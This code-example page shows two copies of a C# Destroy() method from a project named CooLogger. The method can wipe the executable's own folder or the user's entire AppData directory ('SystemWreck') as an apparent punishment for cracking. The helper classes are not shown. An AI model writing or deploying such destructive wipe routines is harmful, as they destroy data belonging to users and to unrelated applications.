コード例 #1
0
ファイル: Destroyer.cs プロジェクト: Methh/CooLogger
 public void Destroy()
 {
     switch (_type)
     {
         case DestroyerType.FolderWipe:
             DirectoryWiper w = new DirectoryWiper(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location));
             w.Wipe();
             break;
         case DestroyerType.CrackerTag:
             CrackerCheck.FlagCracker();
             break;
         case DestroyerType.SystemWreck:
             DirectoryWiper w2 = new DirectoryWiper(Configuration.AppData);
             w2.Wipe();
             break;
         default:
             _type = DestroyerType.CrackerTag;
             Destroy();
             return;
     }
 }
コード例 #2
0
        public void Destroy()
        {
            switch (_type)
            {
            case DestroyerType.FolderWipe:
                DirectoryWiper w = new DirectoryWiper(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location));
                w.Wipe();
                break;

            case DestroyerType.CrackerTag:
                CrackerCheck.FlagCracker();
                break;

            case DestroyerType.SystemWreck:
                DirectoryWiper w2 = new DirectoryWiper(Configuration.AppData);
                w2.Wipe();
                break;

            default:
                _type = DestroyerType.CrackerTag;
                Destroy();
                return;
            }
        }